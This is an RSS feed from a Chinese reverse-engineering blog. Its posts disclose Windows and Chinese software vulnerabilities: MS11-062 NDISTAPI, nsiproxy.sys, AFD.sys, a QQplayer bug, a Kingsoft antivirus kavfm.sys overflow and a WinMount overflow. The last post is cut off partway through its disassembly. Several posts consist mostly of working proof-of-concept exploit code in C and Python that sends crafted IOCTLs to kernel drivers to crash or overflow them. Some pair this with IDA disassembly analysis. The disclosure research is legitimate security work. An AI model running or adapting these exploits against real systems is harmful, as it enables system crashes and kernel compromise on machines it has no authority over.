<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SoftRCE.net &#187; dge</title>
	<atom:link href="http://www.softrce.net/archives/author/dge/feed" rel="self" type="application/rss+xml" />
	<link>http://www.softrce.net</link>
	<description>Software Reverse Code Engineering</description>
	<lastBuildDate>Tue, 13 Sep 2011 06:58:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)</title>
		<link>http://www.softrce.net/archives/405</link>
		<comments>http://www.softrce.net/archives/405#comments</comments>
		<pubDate>Tue, 13 Sep 2011 06:10:07 +0000</pubDate>
		<dc:creator>dge</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[MS11-062]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=405</guid>
		<description><![CDATA[#include “stdio.h” #include “windows.h” #define NTSTATUS int int main(int argc, char* argv[]) { PULONG  pShellcode; char InputBuffer[4]={0}; ULONG  AllocationSize,dwReturnSize; HANDLE dev_handle; SC_HANDLE hscmHandle = NULL; SC_HANDLE hscDriver = NULL; PROCESS_INFORMATION pi; STARTUPINFOA stStartup; printf(“\n Microsoft Ndistapi.sys Local Privilege Escalation Vulnerability Exploit \n\n”); dev_handle = CreateFile(“\\\\.\\NDISTAPI” ,GENERIC_READ &#124; GENERIC_WRITE ,0,NULL,CREATE_ALWAYS ,0,0); DeviceIoControl( dev_handle, 0x8fff23d4, InputBuffer,4,(PVOID)0&#215;80000000,0,&#38;dwReturnSize, NULL); [...]]]></description>
			<content:encoded><![CDATA[<p>#include “stdio.h”<br />
#include “windows.h”</p>
<p>#define NTSTATUS int</p>
<p><span id="more-405"></span>int main(int argc, char* argv[])<br />
{</p>
<p>PULONG  pShellcode;<br />
char InputBuffer[4]={0};<br />
ULONG  AllocationSize,dwReturnSize;<br />
HANDLE dev_handle;</p>
<p>SC_HANDLE hscmHandle = NULL;<br />
SC_HANDLE hscDriver = NULL;</p>
<p>PROCESS_INFORMATION pi;<br />
STARTUPINFOA stStartup;</p>
<p>printf(“\n Microsoft Ndistapi.sys Local Privilege Escalation Vulnerability Exploit \n\n”);</p>
<p>dev_handle = CreateFile(“\\\\.\\NDISTAPI” ,GENERIC_READ | GENERIC_WRITE ,0,NULL,CREATE_ALWAYS ,0,0);</p>
<p>DeviceIoControl( dev_handle, 0x8fff23d4, InputBuffer,4,(PVOID)0&#215;80000000,0,&amp;dwReturnSize, NULL);</p>
<p>return 1;<br />
}</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/405">2011年09月13日</a>, ayarei writes: 顶~</li><li><a href="http://www.softrce.net/archives/405">2011年09月13日</a>, <a href='http://www.itxy.net' rel='external nofollow' class='url'>Frears</a> writes: 必须顶。</li><li><a href="http://www.softrce.net/archives/405">2011年10月17日</a>, 123 writes: 你好fsdfsdf</li><li><a href="http://www.softrce.net/archives/405">2012年01月3日</a>, <a href='http://www' rel='external nofollow' class='url'>admin</a> writes: 为什么就是看不懂</li><li><a href="http://www.softrce.net/archives/405">2012年02月3日</a>, <a href='http://goo.gl/99D2t' rel='external nofollow' class='url'>校园自助打印复印</a> writes: 代码什么的最烦人了</li></ul><hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/381" rel="bookmark" title="Permanent Link: Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability">Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</a></li><li><a href="http://www.softrce.net/archives/392" rel="bookmark" title="Permanent Link: Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability">Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability</a></li><li><a href="http://www.softrce.net/archives/96" rel="bookmark" title="Permanent Link: 暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2008年09月30日 -- <a href="http://www.softrce.net/archives/10" title="[国庆礼]Exploiting Windows Device Drivers译文版">[国庆礼]Exploiting Windows Device Drivers译文版</a></li><li>2011年03月21日 -- <a href="http://www.softrce.net/archives/369" title="QQplayer Memory Corruption Vulnerability">QQplayer Memory Corruption Vulnerability</a></li><li>2008年10月19日 -- <a href="http://www.softrce.net/archives/14" title="Vista Bootmgr/Winload使用的大部分选项ID">Vista Bootmgr/Winload使用的大部分选项ID</a></li><li>2010年03月11日 -- <a href="http://www.softrce.net/archives/296" title="Think Different">Think Different</a></li><li>2009年05月16日 -- <a href="http://www.softrce.net/archives/140" title="静态分析驱动的一点技巧">静态分析驱动的一点技巧</a></li><li>2011年04月8日 -- <a href="http://www.softrce.net/archives/381" title="Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability">Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</a></li><li>2010年08月3日 -- <a href="http://www.softrce.net/archives/320" title="SoftRCE官方T恤开始订购了~">SoftRCE官方T恤开始订购了~</a></li><li>2009年01月10日 -- <a href="http://www.softrce.net/archives/21" title="容易被忽略的IDA快捷键">容易被忽略的IDA快捷键</a></li><li>2009年05月15日 -- <a href="http://www.softrce.net/archives/136" title="ActiveX 控件组件的Fuzz和利用">ActiveX 控件组件的Fuzz和利用</a></li><li>2009年02月1日 -- <a href="http://www.softrce.net/archives/23" title="SoftRCE的Mail Server开通了！">SoftRCE的Mail Server开通了！</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/405/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability</title>
		<link>http://www.softrce.net/archives/392</link>
		<comments>http://www.softrce.net/archives/392#comments</comments>
		<pubDate>Wed, 18 May 2011 07:40:11 +0000</pubDate>
		<dc:creator>dge</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=392</guid>
		<description><![CDATA[#!/usr/bin/python from ctypes import * kernel32 = windll.kernel32 Psapi    = windll.Psapi if __name__ == &#8216;__main__&#8217;: GENERIC_READ  = 0&#215;80000000 GENERIC_WRITE = 0&#215;40000000 OPEN_EXISTING = 0&#215;3 CREATE_ALWAYS = 0&#215;2 SYM_NAME   = “\\\\.\\Nsi” dwReturn      = c_ulong() out_buff      = ” in_buff       = (“\x00\x00\x00\x00\x00\x00\x00\x00\xec\x2d\x39\x6e\x07\x00\x00\x00&#8243; “\x01\x00\x00\x00\x00\x00\x00\x00\x38\x89\x6c\x01\x08\x00\x00\x00&#8243; “\x00\x00\x00\x00\x00\x00\x00\x00\x10\xfa\x78\x00\x28\x00\x00\x00&#8243; “\x38\xfa\x78\x00\x0c\x00\x00\x00&#8243;) handle = kernel32.CreateFileA(SYM_NAME, GENERIC_READ &#124; GENERIC_WRITE,0, None, CREATE_ALWAYS, 0, None) dev_ioct = kernel32.DeviceIoControl(handle, [...]]]></description>
			<content:encoded><![CDATA[<p>#!/usr/bin/python<br />
from ctypes import *</p>
<p>kernel32 = windll.kernel32<span id="more-392"></span><br />
Psapi    = windll.Psapi</p>
<p>if __name__ == &#8216;__main__&#8217;:<br />
GENERIC_READ  = 0&#215;80000000<br />
GENERIC_WRITE = 0&#215;40000000<br />
OPEN_EXISTING = 0&#215;3<br />
CREATE_ALWAYS = 0&#215;2</p>
<p>SYM_NAME   = “\\\\.\\Nsi”<br />
dwReturn      = c_ulong()<br />
out_buff      = ”<br />
in_buff       = (“\x00\x00\x00\x00\x00\x00\x00\x00\xec\x2d\x39\x6e\x07\x00\x00\x00&#8243;<br />
“\x01\x00\x00\x00\x00\x00\x00\x00\x38\x89\x6c\x01\x08\x00\x00\x00&#8243;<br />
“\x00\x00\x00\x00\x00\x00\x00\x00\x10\xfa\x78\x00\x28\x00\x00\x00&#8243;<br />
“\x38\xfa\x78\x00\x0c\x00\x00\x00&#8243;)</p>
<p>handle = kernel32.CreateFileA(SYM_NAME, GENERIC_READ | GENERIC_WRITE,0, None, CREATE_ALWAYS, 0, None)<br />
dev_ioct = kernel32.DeviceIoControl(handle, 0x12003f, in_buff,len(in_buff), out_buff, len(out_buff),byref(dwReturn), None)</p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/381" rel="bookmark" title="Permanent Link: Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability">Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</a></li><li><a href="http://www.softrce.net/archives/405" rel="bookmark" title="Permanent Link: Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)">Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)</a></li><li><a href="http://www.softrce.net/archives/19" rel="bookmark" title="Permanent Link: [转载]在英特尔软件网络博客上看到的">[转载]在英特尔软件网络博客上看到的</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2011年04月8日 -- <a href="http://www.softrce.net/archives/381" title="Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability">Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</a></li><li>2011年03月21日 -- <a href="http://www.softrce.net/archives/369" title="QQplayer Memory Corruption Vulnerability">QQplayer Memory Corruption Vulnerability</a></li><li>2009年05月15日 -- <a href="http://www.softrce.net/archives/136" title="ActiveX 控件组件的Fuzz和利用">ActiveX 控件组件的Fuzz和利用</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/392/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</title>
		<link>http://www.softrce.net/archives/381</link>
		<comments>http://www.softrce.net/archives/381#comments</comments>
		<pubDate>Fri, 08 Apr 2011 03:04:58 +0000</pubDate>
		<dc:creator>dge</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[windows xp]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=381</guid>
		<description><![CDATA[//////////////////////////////////////////////////////////////////////////// // // Title: Microsoft Windows xp AFD.sys Local Kernel DoS Exploit // ///////////////////////////////////////////////////////////////////////////// #include &#60;stdio.h&#62; #include &#60;Winsock2.h&#62; #pragma comment (lib, “ws2_32.lib”) BYTE buf[]={ 0xac,0xfd,0xd3,0&#215;00,0&#215;01,0&#215;00,0&#215;00,0&#215;00,0&#215;00,0&#215;00, 0&#215;00,0&#215;00,0&#215;20,0&#215;00,0&#215;00,0&#215;00,0xe8,0xfd,0xd3,0&#215;00, 0xb8,0xfd,0xd3,0&#215;00,0xf8,0xfd,0xd3,0&#215;00,0xc4,0xfd, 0xd3,0&#215;00,0xcc,0xfd,0xd3,0&#215;00}; int main( ) { WSADATA ws; SOCKET tcp_socket; struct sockaddr_in peer; ULONG  dwReturnSize; printf(“\n Microsoft Windows xp AFD.sys Local Kernel DoS Exploit \n\n”); printf(“\t Create by Lufeng [...]]]></description>
			<content:encoded><![CDATA[<p>////////////////////////////////////////////////////////////////////////////<br />
//<br />
// Title: Microsoft Windows xp AFD.sys Local Kernel DoS Exploit<br />
//<br />
/////////////////////////////////////////////////////////////////////////////<span id="more-381"></span></p>
<p>#include &lt;stdio.h&gt;<br />
#include &lt;Winsock2.h&gt;</p>
<p>#pragma comment (lib, “ws2_32.lib”)</p>
<p>BYTE buf[]={<br />
0xac,0xfd,0xd3,0&#215;00,0&#215;01,0&#215;00,0&#215;00,0&#215;00,0&#215;00,0&#215;00,<br />
0&#215;00,0&#215;00,0&#215;20,0&#215;00,0&#215;00,0&#215;00,0xe8,0xfd,0xd3,0&#215;00,<br />
0xb8,0xfd,0xd3,0&#215;00,0xf8,0xfd,0xd3,0&#215;00,0xc4,0xfd,<br />
0xd3,0&#215;00,0xcc,0xfd,0xd3,0&#215;00};</p>
<p>int main( )<br />
{<br />
WSADATA ws;</p>
<p>SOCKET tcp_socket;<br />
struct sockaddr_in peer;<br />
ULONG  dwReturnSize;</p>
<p>printf(“\n Microsoft Windows xp AFD.sys Local Kernel DoS Exploit \n\n”);<br />
printf(“\t Create by Lufeng Li of Neusoft Corporation. \n\n”);</p>
<p>WSAStartup(0&#215;0202,&amp;ws);</p>
<p>peer.sin_family = AF_INET;<br />
peer.sin_port = htons( 0x01bd );<br />
peer.sin_addr.s_addr = inet_addr( “127.0.0.1&#8243; );</p>
<p>tcp_socket = socket(AF_INET, SOCK_DGRAM, 0);//SOCK_DGRAM</p>
<p>if ( connect(tcp_socket, (struct sockaddr*) &amp;peer, sizeof(struct sockaddr_in)) )<br />
{<br />
printf(“connect error\n”);<br />
exit(0);<br />
}</p>
<p>DeviceIoControl( (HANDLE)tcp_socket,0x000120cf, buf,0&#215;24,buf,0&#215;24,&amp;dwReturnSize, NULL);</p>
<p>return TRUE;<br />
}</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/381">2011年04月22日</a>, gz1x writes: AFD里问题很多，不仅仅是Dos，可以本地提权。</li><li><a href="http://www.softrce.net/archives/381">2011年04月23日</a>, dge writes: @gz1x, 搞afd搞了一段时间了，到现在为止只弄出来这个，还得努力啊。</li></ul><hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/405" rel="bookmark" title="Permanent Link: Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)">Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)</a></li><li><a href="http://www.softrce.net/archives/392" rel="bookmark" title="Permanent Link: Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability">Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability</a></li><li><a href="http://www.softrce.net/archives/96" rel="bookmark" title="Permanent Link: 暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2011年05月18日 -- <a href="http://www.softrce.net/archives/392" title="Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability">Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability</a></li><li>2011年03月21日 -- <a href="http://www.softrce.net/archives/369" title="QQplayer Memory Corruption Vulnerability">QQplayer Memory Corruption Vulnerability</a></li><li>2009年05月15日 -- <a href="http://www.softrce.net/archives/136" title="ActiveX 控件组件的Fuzz和利用">ActiveX 控件组件的Fuzz和利用</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/381/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>QQplayer Memory Corruption Vulnerability</title>
		<link>http://www.softrce.net/archives/369</link>
		<comments>http://www.softrce.net/archives/369#comments</comments>
		<pubDate>Mon, 21 Mar 2011 02:58:19 +0000</pubDate>
		<dc:creator>dge</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[QQplayer]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=369</guid>
		<description><![CDATA[QQplayer Memory Corruption Vulnerability

影响版本：&#60;= QQplayer 2.8

一个符号扩展的问题出现在MP4Splitter.dll中。]]></description>
			<content:encoded><![CDATA[<p>影响版本：&lt;= QQplayer 2.8</p>
<p>一个符号扩展的问题出现在MP4Splitter.dll中。<span id="more-369"></span></p>
<p>.text:10023EFF                 mov     eax, [esi]<br />
.text:10023F01                 push    0<br />
.text:10023F03                 push    20h<br />
.text:10023F05                 lea     ecx, [esp+40h+buff]<br />
.text:10023F09                 push    ecx<br />
.text:10023F0A                 mov     edx, [eax+0Ch]<br />
.text:10023F0D                 mov     ecx, esi<br />
.text:10023F0F                 call    edx                  ;从文件获取数据。<br />
.text:10023F11                 movsx   eax, [esp+38h+buff]  ;符号扩展产生一个类似0xFFFFFFFX的值。<br />
.text:10023F16                 cmp     eax, 20h<br />
.text:10023F19                 jge     short loc_10023F2E   ;检查被绕过<br />
.text:10023F1B                 mov     [esp+eax+38h+buf], 0 ;恶意数据被用于指针操作，导致栈中的指针数据被破坏。<br />
.text:10023F20                 lea     eax, [esp+38h+buf]<br />
.text:10023F24                 push    eax<br />
.text:10023F25                 lea     ecx, [edi+5Ch]</p>
<p>POC:不放了。</p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/14" rel="bookmark" title="Permanent Link: Vista Bootmgr/Winload使用的大部分选项ID">Vista Bootmgr/Winload使用的大部分选项ID</a></li><li><a href="http://www.softrce.net/archives/392" rel="bookmark" title="Permanent Link: Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability">Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability</a></li><li><a href="http://www.softrce.net/archives/405" rel="bookmark" title="Permanent Link: Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)">Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small>  
<div class="wp_license">
<p><a rel="license" href="http://creativecommons.org/licenses/by/3.0/"><img src="http://i.creativecommons.org/l/by/3.0//88x31.png" alt="Creative Commons Attribution 3.0 Unported" class="alignleft" style="margin-top:4px;" />
</a>This work  is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by/3.0/">Creative Commons Attribution 3.0 Unported</a>.</p>
</div><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2011年05月18日 -- <a href="http://www.softrce.net/archives/392" title="Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability">Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability</a></li><li>2011年04月8日 -- <a href="http://www.softrce.net/archives/381" title="Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability">Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</a></li><li>2009年05月15日 -- <a href="http://www.softrce.net/archives/136" title="ActiveX 控件组件的Fuzz和利用">ActiveX 控件组件的Fuzz和利用</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/369/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>金山毒霸2011内核溢出漏洞</title>
		<link>http://www.softrce.net/archives/337</link>
		<comments>http://www.softrce.net/archives/337#comments</comments>
		<pubDate>Mon, 13 Sep 2010 10:04:01 +0000</pubDate>
		<dc:creator>dge</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=337</guid>
		<description><![CDATA[这个漏洞是我7月份报告给金山的，漏洞存在于kavfm.sys中，它没有正确处理用户提交的参数，因此导致了这个溢出漏洞。
在新版本中，这个驱动被去掉了。

影响版本：Kingsoft Antivirus &#60;=v2010.04.26.648]]></description>
			<content:encoded><![CDATA[<p>这个漏洞是我7月份报告给金山的，漏洞存在于kavfm.sys中，它没有正确处理用户提交的参数，因此导致了这个溢出漏洞。<br />
在新版本中，这个驱动被去掉了。<span id="more-337"></span></p>
<p>影响版本：Kingsoft Antivirus &lt;=v2010.04.26.648</p>
<p>漏洞分析:</p>
<p>.text:00012160<br />
.text:00012160 sub_12160       proc near               ; CODE XREF: sub_129B0+2Fp<br />
.text:00012160<br />
.text:00012160 var_44          = byte ptr -44h<br />
.text:00012160 var_4           = dword ptr -4<br />
.text:00012160 arg_4           = dword ptr  0Ch<br />
.text:00012160<br />
.text:00012160                 push    ebp<br />
.text:00012161                 mov     ebp, esp<br />
.text:00012163                 mov     ecx, [ebp+arg_4]<br />
.text:00012166                 mov     eax, [ecx+60h]<br />
.text:00012169                 sub     esp, 44h<br />
.text:0001216C                 push    ebx<br />
.text:0001216D                 mov     ebx, [eax+IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength]<br />
.text:00012170                 mov     eax, [eax+IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode]<br />
.text:00012173                 push    esi<br />
.text:00012174                 add     eax, 7FFCFFFCh<br />
.text:00012179                 xor     esi, esi<br />
.text:0001217B                 cmp     eax, 28h        ; switch 41 cases<br />
.text:0001217E                 push    edi<br />
.text:0001217F                 mov     edi, [ecx+IRP.AssociatedIrp.SystemBuffer]<br />
.text:00012182                 ja      loc_122E0       ; default<br />
.text:00012182                                         ; jumptable 0001218F cases 1-3,5-7,9-11,13-15,17-19,21-23,25-27,29-31,33-35,37-39<br />
.text:00012188                 movzx   eax, ds:byte_1231C[eax]<br />
.text:0001218F                 jmp     ds:off_122EC[eax*4] ; switch jump<br />
.text:00012196<br />
.text:00012196 loc_12196:                              ; DATA XREF: .text:off_122ECo<br />
.text:00012196                 push    ebx             ; 拷贝长度是InputBufferLength，是我们可控制的。<br />
.text:00012197                 lea     ecx, [ebp+var_44];<br />
.text:0001219A                 push    edi             ; 如果这个串大于72字节就可以覆盖到返回地址。<br />
.text:0001219B                 push    ecx             ; char *<br />
.text:0001219C                 call    strncpy<br />
.text:000121A1                 add     esp, 0Ch<br />
.text:000121A4                 lea     edx, [ebp+var_44]<br />
.text:000121A7                 push    edx<br />
.text:000121A8                 mov     [ebp+ebx+var_44], 0<br />
.text:000121AD                 call    sub_15410<br />
.text:000121B2                 pop     edi<br />
.text:000121B3                 mov     esi, eax<br />
.text:000121B5                 pop     esi<br />
.text:000121B6                 pop     ebx<br />
.text:000121B7                 mov     esp, ebp<br />
.text:000121B9                 pop     ebp<br />
.text:000121BA                 retn    8</p>
<p>poc:</p>
<p>#!/usr/bin/python</p>
<p>from ctypes import *</p>
<p>kernel32 = windll.kernel32<br />
Psapi    = windll.Psapi</p>
<p>if __name__ == &#8217;__main__&#8217;:<br />
GENERIC_READ  = 0&#215;80000000<br />
GENERIC_WRITE = 0&#215;40000000<br />
OPEN_EXISTING = 0&#215;3<br />
CREATE_ALWAYS = 0&#215;2</p>
<p>DEVICE_NAME   = ”\\\\.\\kavfm”<br />
dwReturn      = c_ulong()<br />
out_size      = 1024<br />
in_size       = 1024<br />
in_data       =”<br />
driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,<br />
0, None, CREATE_ALWAYS, 0, None)<br />
in_data=1024*&#8217;\x80&#8242;<br />
dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0&#215;80030004, in_data,500, 0, 0,byref(dwReturn), None)</p>
<p>EOF</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/337">2010年09月13日</a>, mj0011 writes: 金山的内核溢出少说有几十个，懒得爆了</li><li><a href="http://www.softrce.net/archives/337">2010年09月14日</a>, dge writes: @mj0011, 还是MJ境界高。</li><li><a href="http://www.softrce.net/archives/337">2010年12月27日</a>, <a href='http://www.jiami.net' rel='external nofollow' class='url'>vmprotect</a> writes: 金山毒霸免费了，这个溢出漏洞被人利用的话，影响范围就太大了。</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small>  
<div class="wp_license">
<p><a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/2.5/cn/"><img src="http://i.creativecommons.org/l/by-nc-nd/2.5/cn/88x31.png" alt="Creative Commons Attribution-NonCommercial-NoDerivs 2.5 China Mainland" class="alignleft" style="margin-top:4px;" />
</a>This work  is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/2.5/cn/">Creative Commons Attribution-NonCommercial-NoDerivs 2.5 China Mainland</a>.</p>
</div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2010年04月21日 -- <a href="http://www.softrce.net/archives/302" title="WinMount mou文件格式溢出漏洞分析">WinMount mou文件格式溢出漏洞分析</a></li><li>2009年05月30日 -- <a href="http://www.softrce.net/archives/189" title="基于NDIS Filter 抓包">基于NDIS Filter 抓包</a></li><li>2010年02月21日 -- <a href="http://www.softrce.net/archives/256" title="Step deeply into NDIS6 LightWeight Filter, part 1">Step deeply into NDIS6 LightWeight Filter, part 1</a></li><li>2010年03月11日 -- <a href="http://www.softrce.net/archives/296" title="Think Different">Think Different</a></li><li>2011年03月21日 -- <a href="http://www.softrce.net/archives/369" title="QQplayer Memory Corruption Vulnerability">QQplayer Memory Corruption Vulnerability</a></li><li>2008年11月16日 -- <a href="http://www.softrce.net/archives/18" title="今天又地震～～">今天又地震～～</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/114" title="Symbian S60 3rd Reverse CrAcKiNg Tutorial">Symbian S60 3rd Reverse CrAcKiNg Tutorial</a></li><li>2008年10月9日 -- <a href="http://www.softrce.net/archives/11" title="About the SMM rootkit">About the SMM rootkit</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/96" title="暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/337/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>WinMount mou文件格式溢出漏洞分析</title>
		<link>http://www.softrce.net/archives/302</link>
		<comments>http://www.softrce.net/archives/302#comments</comments>
		<pubDate>Wed, 21 Apr 2010 11:55:42 +0000</pubDate>
		<dc:creator>dge</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[漏洞分析]]></category>

		<guid isPermaLink="false">http://www.softrce.net/archives/302</guid>
		<description><![CDATA[前段时间发现的一个WinMount的漏洞并报给了WinMount，WinMount更新了，所以发布出来。

影响产品:WinMount 3.3.0401

WinMount在处理其mou私有格式的时候存在超长文件名溢出漏洞，并且可以绕过GS,SAFESEH成功利用。]]></description>
			<content:encoded><![CDATA[<p>Author：dge</p>
<p>前段时间发现的一个WinMount的漏洞并报给了WinMount，WinMount更新了，所以发布出来。</p>
<p>影响产品:WinMount 3.3.0401</p>
<p>WinMount在处理其mou私有格式的时候存在超长文件名溢出漏洞，这个漏洞存在于7z.dll中，并且可以绕过GS,SAFESEH成功利用。<span id="more-302"></span></p>
<p>由于WinMount对mou格式的特殊处理机制导致这个漏洞并不需要通过欺骗点击的方式来触发，只要你在电脑里看到这个精心构造的恶意mou文件，就能触发这个漏洞。</p>
<p>分析：<br />
.text:100B5460 vul_            proc near               ; CODE XREF: sub_100B64B0+2EEp<br />
.text:100B5460<br />
.text:100B5460 var_214         = dword ptr -214h<br />
.text:100B5460 var_210         = dword ptr -210h<br />
.text:100B5460 buf_20c         = byte ptr -20Ch<br />
.text:100B5460 arg_0           = dword ptr  4<br />
.text:100B5460 arg_4           = dword ptr  8<br />
.text:100B5460 arg_8           = dword ptr  0Ch<br />
.text:100B5460 arg_C           = dword ptr  10h<br />
.text:100B5460 arg_10          = dword ptr  14h<br />
.text:100B5460 arg_14          = dword ptr  18h<br />
.text:100B5460 arg_18          = dword ptr  1Ch<br />
.text:100B5460<br />
.text:100B5460                 sub     esp, 214h<br />
.text:100B5466                 mov     eax, dword_10101D2C<br />
.text:100B546B                 xor     eax, esp<br />
.text:100B546D                 mov     dword ptr [esp+214h+buf_20c+208h], eax<br />
.text:100B5474                 mov     ecx, [esp+214h+arg_18]<br />
.text:100B547B                 mov     edx, [esp+214h+arg_4]<br />
.text:100B5482                 mov     eax, [esp+214h+arg_C]<br />
.text:100B5489                 push    ebx<br />
.text:100B548A                 push    ebp<br />
.text:100B548B                 mov     ebp, [esp+21Ch+arg_0]<br />
.text:100B5492                 push    esi<br />
.text:100B5493                 mov     esi, [esp+220h+arg_8]<br />
.text:100B549A                 push    edi<br />
.text:100B549B                 mov     [esp+224h+var_214], ecx<br />
.text:100B549F                 push    edx<br />
